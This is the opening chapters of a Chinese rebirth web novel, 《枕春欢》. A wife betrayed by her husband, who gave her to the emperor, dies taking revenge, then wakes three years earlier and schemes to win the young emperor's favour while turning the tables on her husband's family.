《枕春欢》 第1章 重生 “听说了吗?工部侍郎戚大人的夫人勾引了皇帝,上了龙榻!勾的皇上夜夜要宣她入宫伴驾。” “怪不得皇帝到现在不选妃呢,原来是被狐狸精迷了心窍……” “难怪肃国公府不让这娘俩进门呢,原来是怕脏了公府的门楣……” “呸!骚狐狸!我要是她,早就一根白绫吊死了,哪还有脸出来见人?” …… 薛嘉言与皇帝之间的奸情曝光后,铺天盖地的责骂声袭来,鄙夷厌恶的目光刺来,她从一开始的羞愤欲死,渐渐变得麻木。 婆婆栾氏坐在她陪嫁的酸枝木圈椅上,目光看向她时带着浓浓的厌恶:“薛氏,我儿娶你真是倒了八辈子血霉,凭他进士出身,娶什么样的女子娶不到,偏娶了你这么个不知廉耻的浪货!” 公爹戚炳春阴狠的瞪着她,咬着牙骂道:“贱人!你如此德行怎配掌家。” 小姑子戚倩蓉伸手指着她骂,手腕上还戴着她送的金镶红宝的镯子,摇晃着闪出亮光。 “你这种淫贱女人,不配碰棠姐儿!往后她要养在我娘膝下,省得被你带坏了。” 薛嘉言跪地苦求,求他们不要带走女儿,可他们硬生生将棠姐儿抱走,由着母女俩哭得肝肠寸断。 她的夫君戚少亭就那么静静的看着这一切发生,等棠姐儿被抱走了,他走过来轻蔑地说了一句:“薛氏,你若是还有点羞耻心,就该知道该怎么做。” 薛嘉言瘫坐在地,她知道他的意思,是要她去死。 他已经身居高位,飞黄腾达,又攀上了晖善公主,已经不需要她这个声名狼藉的女人了。 她早就想死了,从第一晚被送进皇宫时就想死了。 可她还有父母、女儿,她还有牵挂,她不能死,她只能苟活着。 直到她母亲吕氏郁郁而终,她最爱的女儿棠姐儿死在婆母院中的水塘里,支撑薛嘉言活下去的所有力量都没有了。 她抱着棠姐儿冰冷的尸体,一双手抖个不停。 她的棠姐儿才五岁啊,那样乖巧懂事的孩子,如果可以,她愿意用自己的命换棠姐儿生。 “嫂子,你别怪阿娘,都怪棠姐儿太顽皮……”戚倩蓉的声音响起。 “我……我早让她离水池远一点的,她不听,唉……”栾氏怯懦的说着,一如既往的推卸责任。 “母亲也不是故意的,人各有命,这或许就是她的命数……” 这是她戚少亭的声音,薛嘉言抬头望去,明明是成亲七载的夫妻,她眼中的男人却十分陌生,再不是当年羞涩的书生。 “人各有命,这或许就是她的命数”? 薛嘉言怒极反笑,笑容古怪。 这个家,唯有她把棠姐儿放在心上。可他们说她淫贱,不要脸,不配抚养女儿,生生把女儿抢走放在婆母身边教养。 他们抢走了棠姐儿,却不曾用心,小小的孩子尸体浮上来了才有人发现。 而她的父亲,说的是“人各有命”。 薛嘉言想到皇帝昨晚盛怒之下说的话,原来当初戚少亭是有选择的,他选择了将她送给皇帝,享受了荣华富贵,然后道貌岸然的谴责她淫贱。 她死灰一般的心燃起怒火,轻轻亲了亲棠姐儿冰凉的脸颊,将她放在池边,喃喃说了一句:“棠姐儿,阿娘下次,一定护住你。” 蹲在薛嘉言身侧的戚少亭听到这句话,松了一口气,他刚要再安慰两句,忽然眼前一黑,薛嘉言扑到他身上,死死抓住他,不要命一样的把他推入池里。 跟戚少亭一起进去的,还有薛嘉言自己。 围观的戚家人和下人们惊呼一声,赶紧跳下去救人。 水池并不深,成年人站直了也不过到大腿而已。戚少亭身量高挑,他原以为可以轻松甩脱瘦弱的薛嘉言,可薛嘉言双臂牢牢锁住他的脖子,越锁越紧,他的头又被薛嘉言压在水里,根本不能呼吸,手脚渐渐使不上力。 下水救人的是戚家的几个仆人,皆是男子,力气不弱,可他们惊讶的发现,大奶奶不要命了一样,无论他们怎么使力,哪怕掰断了她的手指,她都丝毫不曾放松。 下人们实在无法,只得将根本分不开的夫妻二人一起抬到岸上,栾氏和戚倩蓉哭喊着去看戚少亭,戚少亭被呛了太多污水,已经陷入昏迷,不知是死是活,而他的耳朵缺了一块,一直在汩汩流血。 戚倩蓉抬头看向伏在戚少亭背上的嫂子,薛嘉言双目圆瞪,气绝身亡,嘴里还咬着半截耳朵。 戚倩蓉吓得大叫一声,往后退了一步,嘴里念叨着:“不关我的事!你要报应别找我!” 薛嘉言意识的最后一刻,浑身冰冷,嘴里满是血腥气,她恶心的想吐,那是戚少亭的血,他的心是黑的,血想必也比一般人的更腥臭。 她感觉自己轻飘飘的飞了,越飞越高,嘴里的血腥气渐渐没了,内心缓缓平静下来。 薛嘉言想自己或许是要去极乐世界了,她想去那里找母亲,找女儿,找到所爱之人,如果生不能在一处,那死了能在一起也很好。 一片混沌中,薛嘉言什么都听不到,嗡嗡轰鸣里,眼前忽然一片白光,她猛地闭上眼…… 薛嘉言再次有感觉的时候,只觉得周身暖融融的,四周是淡淡“雪中春信”的香气,她不禁奇怪,地府的味道,怎么跟人间一样。 她缓缓睁开眼,眼前是一扇山水画屏风,西侧窗下置一长案,案上青铜三足香炉青烟袅袅,“雪中春信”的香气应该是从那里发出来的。 屏风前设一张黄花梨方桌,上面摆着金丝楠木茶盘,盘里是一套汝窑天青釉茶盏。 …… 这一切很是熟悉,薛嘉言看愣了,呆呆的转动头颅,反复观看。 她忽然站起来,快步走到窗边,打开窗往外看。 长街上的灯火绚烂,人潮如织,满目繁华,尽是喧嚣…… 这是昭平二年的元宵夜! 薛嘉言扶着二楼的朱漆窗栏,指尖冰凉,小臂浮起细密的鸡皮疙瘩,她不自觉瑟缩了一下。 她不是冷的,是惊的。 她怎么会重生在昭平二年的元宵夜?她明明拉着戚少亭同归于尽了,明明可以与母亲、女儿团聚了。 第2章 前世今生 “嘉嘉?” 温热的手掌突然覆上她的肩背,带着戚少亭惯有的、清冽的皂角香气。 薛嘉言几乎是本能地往旁边缩了缩,却被那只手更紧地揽住。他的指腹摩挲着她微凉的手,声音温柔:“可是穿少了?夜风有些凉,先关了窗暖一暖。” 薛嘉言垂下眼睫,长而密的睫毛在眼下投出浅影,恰好遮住眸底翻涌的寒意。 她咬着下唇,尝到一丝若有若无的血腥味,真好,是真实的疼,她真的重生了。 “嗯,是有些冷。”薛嘉言低声喃喃。 戚少亭便松了手,拉着她后退了一步,轻轻关上窗,接着牵住她的手腕往茶桌走。 他的掌心干燥温暖,指尖却带着薄茧。那是常年握笔磨出来的,她原以为这双手只能握笔写字,不料前世也是这双手将她推入深渊,半分不曾颤抖。 桌上的茶还冒着热气,戚少亭拿起茶筅轻轻搅动,动作斯文。 “喝点热茶暖暖身子……” 戚少亭抬眸看薛嘉言,眼底盛着恰到好处的温柔,“楼下人多眼杂,仔细冲撞了你。咱们再歇半个时辰,等街上清净些再走。” 薛嘉言顺从地端起茶盏,温热的液体滑过喉咙,却暖不透心底的寒冰。她望着窗外明明灭灭的灯火,嘴角勾起一抹极淡的、几乎看不见的弧度。 她记起来了,那年她提前三个月就遣人定下了这间雅间,窗子正对着街心的灯楼,是观灯的好去处。 原是想带夫家人和女儿棠姐儿一起来的。可到了元宵节这天,戚家人都说有事,年幼的的棠姐儿晚饭后早早睡熟了,最后竟有她和戚少亭两个人来赏灯。 那时她还不觉得失落,只当是老天爷给他们的二人时光。戚少亭也是这样说的,他说人多了闹得慌,只有他们两个才好。她当时被他眼里的情意迷了心窍,只觉得满心欢喜。 后来街上的喧闹渐渐歇了,戚少亭说去趟净房。再回来时,他说外头风小了,该回家了,薛嘉言乖乖地跟着他下楼。 两人并肩下楼,刚走了几步,迎面撞上了一群人。 领头的少年穿着玄色暗纹锦袍,身姿挺拔如松,身后跟着的内侍和护卫都敛声屏气,一看便知身份不凡。 薛嘉言瞥了一眼,见是生人,下意识往边上避了避,紧紧贴着戚少亭。 正准备上楼的少年,便是大兖朝的皇帝,时年十九岁的姜玄。 姜玄一双细长的眸子在薛嘉言脸上瞥了两眼,收回目光,从楼梯一侧径直往上走。 走到楼梯转角处,姜玄脚步顿住,又转身看了一眼薛嘉言的背影,她脖颈细长,肌肤莹白,背影纤细窈窕。 薛嘉言躲在戚少亭怀里,见楼梯上几人都停住了脚步,她好奇的转头望去,刚好撞上少年幽深的眼眸,慌得她赶紧低下了头。 回到家后,薛嘉言很快便将这些抛在脑后,安心持家、教女,侍奉公婆…… 只是夫君戚少亭自那夜开始变得神思恍惚,似是遇到了什么难事。 忽有一晚,薛嘉言铺好床褥,见他又坐在榻边发呆,床头不远处的铜镜里映出他清瘦的侧脸,竟添了几分阴郁。 薛嘉言走过去靠在戚少亭肩上,柔声问:“夫君近来是不是有心事?若是差事上有难处,不妨跟我说说。” 去年戚少亭春闱中了个同进士,按例是要外放的。薛嘉言拿了两千两银子打点,才把他留在了顺天府做个七品经历。那差事清闲,只是处理一些文书,她实在想不出他有什么可愁的。 戚少亭沉默了许久,久到她以为他不会回答了,他才猛地转过脸,眼眶红得像兔子。 “嘉嘉,”他抓住她的手,指节因为用力而泛白,声音抖得不成样子,“宫里……宫里来人了。张公公说……说皇上看中了你,要你……要你……” 他哽咽着说不下去,泪水却像断了线的珠子,落在她手背上,滚烫滚烫的。 他没有说完整,但薛嘉言又怎会听不出他话里的意味。 “不可能!”薛嘉言当时就像被雷劈中了,猛地抽回手,后退了两步,撞在妆台上,撞得她后腰一阵痛,“他是天子,什么样的美人没有?我是有夫之妇,他怎么会……” 戚少亭红着眼眶,哽咽着道:“张公公说,你与皇上的心上人长得很像……” 那一瞬间,薛嘉言只觉得天旋地转。她看着铜镜里自己那张苍白的脸,美是美的,可九五至尊,怎么会缺得了美人? 但夫君的样子是那样的悲戚,他也不会撒这样的谎话,那只能是真的。 她的脸为他招来了祸事! 薛嘉言悲从中来,突然抓起妆台上的金簪,就要往脸颊上划去。 她想,毁了这张脸,是不是就好了? “不要!”戚少亭扑过来夺下簪子,死死攥着她的手腕,力气大得几乎要捏碎她的骨头,“嘉嘉!万万不可!你若是伤了自己,我……我怎么办?” 他哭得肝肠寸断,把她紧紧搂在怀里,“你去吧,嘉嘉,皇上要你,你便去。我只想你好好活着,我不怪你,我等你回来。这件事,天知地知,你知我知,绝不会有第三个人知道。” 她当时竟信了,信了这个男人的眼泪,信了他的“深情”。 她在他怀里哭得撕心裂肺,一边是对皇权的恐惧,一边是对夫君“大度”的感激,心里把那个谋夺臣妻的少年天子恨到了骨子里。 后来她被悄悄送进了宫,成了皇帝龙榻上的人。 再后来呢,这件事人尽皆知,薛嘉言声名狼藉,终被名声杀死。 “嘉嘉?茶凉了,我再给你换一盏。” 戚少亭的声音拉回了薛嘉言的思绪。她抬眸看向他,他正拿着她的空茶盏,眉眼弯弯,依旧是那副温润如玉的模样。 薛嘉言轻轻摇头,“不必了。” 她的声音平静得像一潭深水,“夫君说的是,等街上清净些再走才好。” 窗外的灯火依旧绚烂,映在她眼底,却再没有了半分暖意。 名声?前世她就是被这两个字活活杀死的。 可死过一次,她想通了,名声这个东西,你在乎它,它便能杀了你,你不在乎它,那不过就是一句闲话而已。 她能重生回来在昭平二年,那就代表她的母亲和女儿都还在,上一世她没护住的人,终于有机会赎罪了。 那个少年天子不是喜欢她吗?不是把她当成替身吗? 也好。 她抬起手,轻轻抚上自己的脸颊。这张脸既然能引来祸事,自然也能换来些东西。 权势,宠爱,滔天的富贵……她全部都想要。 至于眼前这个男人? 薛嘉言看着戚少亭低头倒茶的侧影,嘴角缓缓勾起一抹冰冷的笑意。前世他和戚家欠她的,欠棠姐儿的,这一世,她会连本带利,一一讨回来。 第3章 再重逢 外面的喧闹渐渐低了下去,戚少亭看了看窗外,放下茶壶站起身。 “差不多了,”他朝她伸出手,笑容温柔依旧,“我们回家吧。” 薛嘉言望着他伸出的那只手,良久,她才缓缓抬起手,轻轻搭了上去。 “好啊,”她轻声说,声音里带着一丝连自己都未察觉的,冰冷的期待,“我们回家。” 楼梯的吱呀声再次响起时,薛嘉言的心跳平稳,似古井无波。她知道,转角处那个穿着玄色锦袍的少年,即将与他相遇。 戚少亭扶着薛嘉言走到楼梯口,薛嘉言垂着眼,数着台阶。 一阶,两阶,三阶……到第七阶时,楼下传来一串沉稳的脚步声。 玄色暗纹锦袍的一角先映入眼帘,接着是腰间悬挂的羊脂玉牌,最后才是那张年轻却带着威仪的脸。 姜玄比记忆中更清瘦些,下颌线绷得紧紧的,一双细长的眸子在灯火下泛着冷光。 他身后的侍卫们都敛着气息,连呼吸都克制着,唯有太监总管张鸿宝那张布满褶子的脸带着一抹笑,在昏暗的光线下透着几分精明。 皇帝果然来了。 薛嘉言的心跳连半分波澜都没有。 前世此时,她早已吓得浑身发颤,恨不得把自己缩成一团藏进戚少亭怀里。可现在,她只是静静地站着,看着那队人拾级而上,看一场早已预知的戏。 姜玄的目光在她脸上一扫而过,同前世一样,先是有些惊喜,很快便带着审视,带着探究。他的脚步没停,径直往上走,玄色的衣摆擦过她的裙角,带起一阵极淡的龙涎香。 擦肩而过的瞬间,薛嘉言注意到,张鸿宝与戚少亭对视了一眼。 一切都同前世一样,他与她擦肩而过,走到转弯处停下,身后跟着的侍卫们也都停下来,薛嘉言好奇地回头望去。 与前世不同的是,那时她惊慌失措,很快垂下眼眸,躲到戚少亭的胸口,不敢再看。 这一世,薛嘉言依旧回头望去,对上皇帝幽深的眼眸后,她微微笑了笑,笑容很淡,眉眼弯弯,唇角微微上扬。 皇帝没料到她会冲他一笑,略微怔愣了片刻,嘴唇张了张,似乎想说什么。 薛嘉言知道他想说什么,他想叫一声“静姝”。 这是她对着铜镜练了无数次的笑。模仿的是张鸿宝当年给她看过的、赵静姝唯一一张画像上的神情。 姜玄果然愣住了。他的嘴唇动了动,喉结上下滚动,那双总是带着冷意的眸子里,眼神有些复杂,恍惚中带着审视。 戚少亭低着头,用只有两人能听见的声音说:“嘉嘉,咱们走吧。” 他的声音里带着一丝不易察觉的慌乱。 直到下了楼,走出茶楼,外面寒冷的夜风吹了满脸,戚少亭才松开她的胳膊。他的手心里全是汗,脸上却还维持着镇定:“嘉嘉,方才那位着像是位贵人,你也太大胆了,怎么敢回头去看…………” 薛嘉言抬起头,月光落在她脸上,映得那双眼睛亮得惊人,“我瞧着那位贵人不像会随便迁怒人的,再说了,不过是个照面,他未必记得我。” 她故意说得轻巧,戚少亭欲言又止,终究没再说出什么。 而此刻的茶楼二楼雅间里,姜玄正站在窗前,看着楼下那对渐行渐远的身影。 张鸿宝小心翼翼地站在他身后,连大气都不敢喘。 姜玄突然开口,声音有些阴沉,“张鸿宝,这茶楼是谁定的?” 张鸿宝躬身回道:“回皇上,是老奴定的。皇上说元宵节想与民同乐,老奴想着这臻楼观灯是京城出了名的,便定了一间。老奴也不知道太后娘娘今晚会同您说这么久的话,好在这些灯大部分还亮着。” 姜玄瞥了张鸿宝一眼,端起茶杯喝了一口茶,没有继续问什么,反而站起来走到窗边看外头的灯。 张鸿宝心里有些忐忑,惴惴不安地守在一旁。 半晌过后,姜玄幽幽说了一句:“张鸿宝,刚刚那两人,你认识?” 张鸿宝悄悄松了一口气,脸上立刻堆起笑,皱纹挤成了一朵菊花,道:“皇上,老奴认识。老奴新安的家在猫眼胡同,刚才那两位是住一条胡同的邻居,姓戚。那位娘子,想必皇上听说过肃国公府的薛大老爷?那位娘子是薛大老爷与外边那位太太生的姑娘。” 姜玄转过身,眉头微蹙:“你怎么知道的这么清楚?” 他的目光带着审视。 张鸿宝心里咯噔一下,连忙躬身道:“回皇上,戚家大爷与老奴投契,常来我家里喝茶,说话,老奴这才知道一些。” 姜玄的脸色缓和了些,却依旧没什么笑意。他走到桌边坐下,低声道:“这么个人,配那人倒是委屈了。” 他的声音很轻,像是在自言自语。 张鸿宝连忙附和:“皇上说的是。薛家姑娘的人品样貌,那都是一等一的好,就是这个出身……着实有些尴尬,寻不到好人家,这才下嫁到了戚家,就连猫眼胡同的宅子,都是薛家的陪嫁。” 他偷偷抬眼瞧着姜玄的脸色,见他没接话,便识趣地闭上了嘴。 张鸿宝费了这番心思,自然是想讨好皇帝。 姜玄登基一年多,后宫犹空,连宫女也不曾碰过。 张鸿宝给姜玄收拾旧物时,瞧见一幅年轻女子的画像。他找从前伺候过姜玄的几个宫人打听了一下,几人看了半天,说是跟从前冷宫的一个宫女有些像,名字叫赵静姝,死了有几年了。 姜玄正是在冷宫长大的,十四岁才从冷宫里搬出来。 张鸿宝是先帝宫中留下来的旧人,到了姜玄身边一年多,始终握不住这位主子的性子,他有心讨好,便派人四处去搜寻,哪里有长得像画中人的女子。 说起来也是巧,张鸿宝升任御前总管太监后,在猫眼胡同买了栋新宅子,头一次过去就瞥见了薛嘉言。 而薛嘉言,恰恰有几分像那画中人。 张鸿宝这才起了心思,让皇帝见薛嘉言一面。 他原以为皇上会立刻下令把人弄进宫里去,可姜玄只是捧着茶盏,望着窗外的灯火发呆,再也没提过薛嘉言一个字。 张鸿宝心里犯起了嘀咕,却也不敢多问。 第4章 祸事临 这几日,薛嘉言每日陪着棠姐儿,失而复得的惶恐与满足,让她一刻也离不开女儿,原本跟着奶娘睡的棠姐儿,如今夜夜都要在薛嘉言的臂弯里睡着。 她借着女儿要过来睡的理由,将戚少亭赶到了书房去睡。 戚少亭有意无意地观察薛嘉言,薛嘉言除了格外看重女儿外,一如既往的温柔、平和,仿佛元宵夜那惊鸿一瞥从未发生过,他松了一口气的同时,又有些忧心。 薛嘉言无视戚少亭的打量,只是偶尔在无人时,她会对着铜镜练习赵静姝那张画像里的神态。 “宫里的女子都乖顺,你走路时要轻些,说话时声音要柔些,笑的时候要眼角微垂,这样显得更温柔……” 这些都是前世张鸿宝让人教她的,她那时候不稀罕皇帝的宠爱,只是敷衍着,并不曾真的去学。 薛嘉言算着日子,按前世的时辰,前日张鸿宝就该派人来接她了。可这一世,却迟迟没有动静。 难道是她那日的笑太过刻意,反而引起了姜玄的怀疑?也是,他本就是个多疑又喜怒无常的人。 薛嘉言端着给棠姐儿喂饭的勺子,眼神微微沉了沉。若是后者,那她的计划,可就要变一变了。 这时,丫鬟司春过来说,“大爷下衙回来了,去了书房,请奶奶过去一趟。” 薛嘉言放下勺子,起身走了出去。 戚少亭坐在茶台前,手执茶壶倒茶,茶杯已经快满了,他却浑然不觉,很快,茶水溢了出来,打湿了他的官服前襟。 “夫君,你这是怎么了?”薛嘉言问道。 戚少亭这才回过神来,他猛地抬头看向薛嘉言,眼神里闪过一丝慌乱,随即又被他强压下去,换上一副温和的笑容:“没事,就是这两夜没休息好,有些走神了。” 薛嘉言垂下眼,掩去眸底的冷笑。没休息好?怕是没得到张鸿宝那边的回复,心里没底,连觉都睡不安稳了吧。 “夫君叫我过来可是有事?” 戚少亭拉着薛嘉言的手,小声道:“嘉嘉,棠姐儿能不能跟奶娘去睡,我今夜,想跟你一起睡。” 他说这话的时候,看着有些不好意思,似乎羞怯得很,还似那个看薛嘉言就会脸红的书生一般。 薛嘉言简直想为戚少亭鼓掌叫好,京里最好的戏班子的红角,怕也没有他这般演技。 她不动声色,柔声道:“夫君,棠姐儿还小,这两夜做了噩梦,夜里要我抱着才睡得安稳。夫君再忍几日吧。” 戚少亭有些失望,搂着薛嘉言,哑声道:“书房的门关着,阿吉在院门处守着,这里没人……” 他说着,手已经不老实,要去解薛嘉言的衣裳。 薛嘉言猛地站起来,压住心头火气,转过脸,不让戚少亭看到她的神色,“夫君,我……我有些不舒服,肚子疼得很,今日怕是不行。” 戚少亭闻言蹙眉,压住心头的焦躁,柔声问道:“嘉嘉,你这是怎么了?” 薛嘉言道:“昨儿请张大夫来瞧过了,说是生棠姐儿时落下的病根,得细细养着,开了些调养的方子。” 戚少亭只得作罢,温声安慰了薛嘉言几句。 出了书房,薛嘉言缓步往春和院走,暗暗思索着,皇帝怎么还不让人来接她。只要皇帝来接她,从此她便有理由不再应承戚少亭,戚少亭也不敢再对她提出敦伦的要求。 皇帝迟迟不派人来,薛嘉言睡不好,戚少亭更睡不着。 很快,戚少亭又能睡得着了,因为小厮阿吉过来说,张公公请他过去喝茶。 薛嘉言知道戚少亭去了张鸿宝家里后,心渐渐落定,皇帝应该查清楚了她的底细,让张鸿宝来接她了。 前世那一夜,到底如期而至,戚少亭让奶娘把棠姐儿抱去厢房睡。 他沮丧地坐在榻边,神情凄惶不安,等着薛嘉言去问他怎么了。 薛嘉言偏不如他的意,沐浴过后,打了个哈欠,从戚少亭背后上了榻,嘟囔了一句:“好困啊……” 戚少亭转脸看去,薛嘉言已经裹紧了被子,留给他一个背影。 他紧蹙了眉头,咬了咬牙,推了薛嘉言一下,带着哭腔道:“嘉嘉,我遇到难事了。” “唔,明儿再说吧,今晚太困了。”薛嘉言没动,敷衍了他一句。 戚少亭脸上的凄惶差点挂不住,他深呼吸了一口,掐了掐大腿内侧,逼出满眼泪水,这才呜呜咽咽说道:“嘉嘉,咱们遇到祸事了……” 他都哭出来了,薛嘉言也不好继续冷待,坐起身,装作惊讶地问道:“夫君这是怎么了?咱们安分守己,能遇到什么祸事?” 戚少亭期期艾艾道:“嘉嘉,今日宫里来人,说是,说是皇上看上了你……” 薛嘉言早已知道答案,并没有像前世那般惊慌,笑了笑道:“夫君别是被人诓骗了,皇上怎么会看上我。” 戚少亭抽抽噎噎道:“是真的,他们说你与皇上心上人长得很像……” 薛嘉言这才装作有些惊慌的样子,声音带着哭腔道:“我已是你的妻,怎可委身皇帝?夫君是清贵的读书人,最注重名声和脸面,绝不能容忍此事。若是你的妻子被皇帝玷污,你怕是活不了了。不如你辞官,咱们搬到丹阳县去,远离京城,我算哪个台面的人物,皇帝总不可能派人追到丹阳县去。” 丹阳县是薛嘉言外祖所在的县城,距离京城遥远,足有两三千里路。 薛嘉言这话,倒不完全是诓戚少亭,前世,临死前那几日,她因母亲的离世心情郁结,忍不住骂姜玄不要脸,抢夺臣妻,坏她名声,姜玄跟她说,他是给了戚少亭选择的,倘若戚少亭带着她远离京城,他便绝了这份心思,是她的夫君主动要把她送到龙榻上! 戚少亭不料薛嘉言这样说,竟与张鸿宝今日说的另一条路一样,他垂眸掩住眼中惊慌,抚着薛嘉言的脸,痛苦说道:“率土之滨,莫非王土,咱们又能逃到哪里去呢?嘉嘉,我的心好痛,为什么,偏偏是你,呜呜……” 戚少亭猛地抱着薛嘉言痛哭,薛嘉言搁在他肩头的一张脸面无表情。 第5章 再入宫 前世,她委身皇帝没多久,戚少亭这个七品的顺天府经历,摇身一变成了正五品的鸿胪寺丞,三年后她死之前,戚少亭已经是正三品的工部侍郎,他得到了自己想要的荣华富贵,怎么会心痛呢。 “这样啊,那我便入宫陪陪皇上吧。” 戚少亭听到这话,哭声一滞,坐直了身子,抓着薛嘉言的肩膀,有些不敢相信地问:“嘉嘉,你真的愿意?” 薛嘉言实在厌恶他的虚伪,别开脸,低下头,淡淡道:“你也说了,那是皇上,你身为读书人,身为我的夫君,都能接受这事,我一个妇人,又能如何?” 戚少亭的脸色一僵,隐约觉得,薛嘉言似乎与从前有些不同,却又说不出哪里不同。 “嘉嘉,苦了你了,呜呜……是我没用……可我能怎么办?戚家和薛家这么多条人命,都在你身上,也只有委屈你了……” 前世,戚少亭也是这般说辞,薛嘉言想着两家数十口人命,只得无奈认了命。 戚少亭哭着说,说今天夜里,宫里会派人来接她,马车就停在戚家后门。 薛嘉言没说话,起身出去,让司春备水,她要沐浴。 浴桶里洒了皇帝喜欢的玫瑰香露,沐浴后的她,全身带着淡淡的玫瑰香。 薛嘉言看着镜中人,她今年不过才二十一岁,身段姣好,凹凸有致,容颜俏丽,皮肤白皙细滑,整个人像是一朵盛开的白玫瑰。 这样美好的身体,前世却在三年后香消玉殒。 她抚了抚胸前凝脂一般的肌肤,咬了咬牙,这一世,她可不想再被流言杀死,该死的是其他人。 薛嘉言换好衣裳,坐在房中等宫中来人,戚少亭不知何时进来了,他眸中神色有些复杂。 “嘉嘉,时辰还早,咱们……” 戚少亭说着,去扯薛嘉言的衣带。 薛嘉言明白他的心思,他既想要借着皇权飞黄腾达,又恨皇权要占他娘子,便想在此之前,与薛嘉言欢好一回,让皇帝捡他吃剩下的。 她对他,早已厌恶至极,怎么可能应承他。 薛嘉言拍开戚少亭的手,蹙眉道:“这衣裳是绸的,我坐着都得小心翼翼,生怕弄皱了,你别烦我。” 戚少亭面色难看,呼吸粗重了几分,哑声道:“嘉嘉,你是我的妻!” 薛嘉言抬眸看向戚少亭,不解道:“对啊,你是我的夫,我不是听了夫君的话吗?你还要我怎么样呢?哭哭啼啼、寻死觅活?你不怕我得罪了皇上,不怕薛、戚两家人项上人头不保了?” 戚少亭语塞,薛嘉言说的也是实话,可他听了心里就是不舒坦,憋着一股火想发泄。 这时,丫鬟司春敲了敲门,小声道:“大爷,大奶奶,阿吉传话来,说是有客要见。” 薛嘉言与戚少亭对视一眼,知道是张鸿宝的人来了,她站起身走出去,对司春道:“我出去见客,你跟奶娘看好棠姐儿。” 司春应了是,薛嘉言快步出了房门,跟着戚少亭出了春和院。 还没出正月,夜风寒冷,猫眼胡同戚家后门停着一辆不起眼的马车,小太监甘松坐在车辕上,听见开门声,忙跳了下去。 “薛主子,请上车。”甘松笑着说着,他今年十五岁,生得皮肤白皙,一双细长的眉眼,笑起来很是讨喜。 薛嘉言轻笑,前世也是甘松来接的她,这是个滑不溜手的东西,早认了张鸿宝做干爹,别看年纪小,在御前伺候也有一年了。 甘松撩开车帘,薛嘉言弯腰进去,车帘放下后,甘松拍了拍车夫,车夫驾着马车离去,留戚少亭一人站在后门,静静站了许久。 马车里,摆着一套太监的衣裳,甘松坐在车辕上,冲里面说了一句:“薛主子,请您换一下衣裳。” 前世,这些薛嘉言都是做惯了的,她波澜不惊地脱下外裳,换上了太监的衣裳。出门时她知道会换装,只简单挽了发髻,拔了发钗之后,戴上帽子,换装就完成了。 前世,薛嘉言在马车里捂着脸哭得肝肠寸断,身上的衣裳被泪打湿污了颜色,双眼也变得红肿,姜玄见到她第一面,很是不悦,叫人把她拉下去,仔细梳洗了才又送到寝殿。 这一世,薛嘉言并没有哭,她身后没有任何助力,想要得到自己想要的,能依靠的,唯有皇帝的宠爱而已。那就得使出手段,让皇帝尽快把她放在心上,无爱,有宠便可以。 甘松听到动静,小声又说道:“薛主子,蒲团旁边有幅画,您拿出来仔细观摩,学一学画上人的笑容。” 薛嘉言再一次看到了那张画,前世她只随意扫了两眼,如今仔细看看,这幅画有些粗糙,笔法和用色都一般,甚至可能还没她画得好。 薛嘉言有些奇怪,姜玄怎么会找画技如此粗陋的人给他的心上人作画呢?而且她仍觉得自己并不大像画中人,画中人的装扮看上去是个少女,与她差着好几岁呢。 马车很快驶进了太和门,甘松请她下车,低头跟在他身后,径直往长宜宫的寝殿走去。 长宜宫距离紫宸殿最近,姜玄平日处理完政事,有时会在这里歇息。 “薛主子,这是千茉和玉珍,她们伺候您更衣。” 千茉和玉珍也是老熟人,前世便是在长宜宫伺候的,她们捧着衣裳和首饰进来,很快替薛嘉言梳洗完毕,接着便退出去了。 寝殿里依旧是熟悉的格局和味道,薛嘉言坐在龙榻上,心情还是不可自抑地忐忑,前世她虽伺候了皇帝三年,可一直摸不清姜玄的脾性,譬如今生,她原以为她回眸一笑,笑容像极了赵静姝,姜玄会迫不及待要她早些入宫,事实却出乎她预料,比前世还晚了两日。 前世,她与姜玄的头一夜,并不大顺当,她羞愤欲死,浑身僵硬,干涸,没想到姜玄之前竟没有经历过男女之事,动作笨拙又粗鲁,两人第一夜很是不愉快。 这一世,又不知会有怎样的变动。 第6章 臣妇愿意 薛嘉言正忐忑着,听到殿外有动静,很快,她听到熟悉的脚步声,姜玄穿过屏风走到榻前,定定地看着薛嘉言。 薛嘉言想着姜玄这人多疑,自己不像前世那样羞愧难当,也得表现得有些无措,不然这狗皇帝又要疑心她是不是被谁派来,故意勾搭他的。 她垂下头,装作害羞的样子,两只手搅着帕子,似乎又怕又羞。 姜玄慢慢走过来,他的身影先一步遮住了薛嘉言,薛嘉言被笼罩在一片阴影里。 两人都没有说话,寝殿里一时落针可闻。 薛嘉言还是紧张了,心怦怦跳得很快。 姜玄走到榻边,坐到薛嘉言身边,并未开口说话,只是静静坐着,侧过身低头打量着薛嘉言。 薛嘉言闻到姜玄身上熟悉的气息,两世为人,薛嘉言依旧有些窘迫,她想了想,还是学着画中人那样微微笑着,嗫嚅着喊了一句:“皇上……” 姜玄眸色幽深,低低应了一声,漫不经心问了一句:“元宵节那晚,是你自己要去的臻楼?” 臻楼便是两人初次见面的那间茶馆。 薛嘉言点点头,小声道:“是,臻楼二楼观灯要提前约好,我十月就命人去定下了。” “唔……” 皇帝应了一声,又沉默了,好一会才哑声道:“替我更衣。” “是。” 薛嘉言说完,伸手去帮姜玄脱衣,双手触到姜玄冰凉的腰带上,熟练地打开了扣子。 她解开扣子后,心头忽然咯噔一下,她是头一次进宫,按理来说,应该还不会解姜玄的腰带。 果然,姜玄一把拉住了她的手,声音带着威压:“这是龙形子母暗扣,你不应该会解。” 薛嘉言慌乱地抬眸,结结巴巴道:“我……我也不知道怎么解的,它,它就……突然开了。” 姜玄看到她眸中水光,从她脸上看到惊慌失措,心中猜疑稍渐,这才察觉她的一双手冰凉,明明寝殿里这般暖和。 “你的手,怎么这么冷?”姜玄沉声问道。 薛嘉言见姜玄没有继续追问腰带扣的事情,稍稍松了口气,小声回答:“臣妇,臣妇的手脚一贯冰冷。” 姜玄略用力,将薛嘉言拉到怀里,坐在他腿上。 他把玩着她的手,十指纤纤,肌肤柔滑,忽地想起一句“垆边人似月,皓腕凝霜雪”,觉得十分应景,低声问道:“听说你小时候,在江南长大?” 薛嘉言嗯了一声,乖顺地坐着。 皇帝果然命人去查了她的底细,八岁之前,她的确是在江南长大的。 薛嘉言身上淡淡玫瑰香袭来,搅得姜玄有些心猿意马,他吞咽了一口口水,觉得嗓子有些痒。 “去把茶端来。” 薛嘉言忙站起来,走到茶桌旁,端了一杯茶过来,递给姜玄。 姜玄喝了一口茶,感觉嗓子舒服一些了,将茶杯搁在床头柜上,抬眸仔细打量薛嘉言。 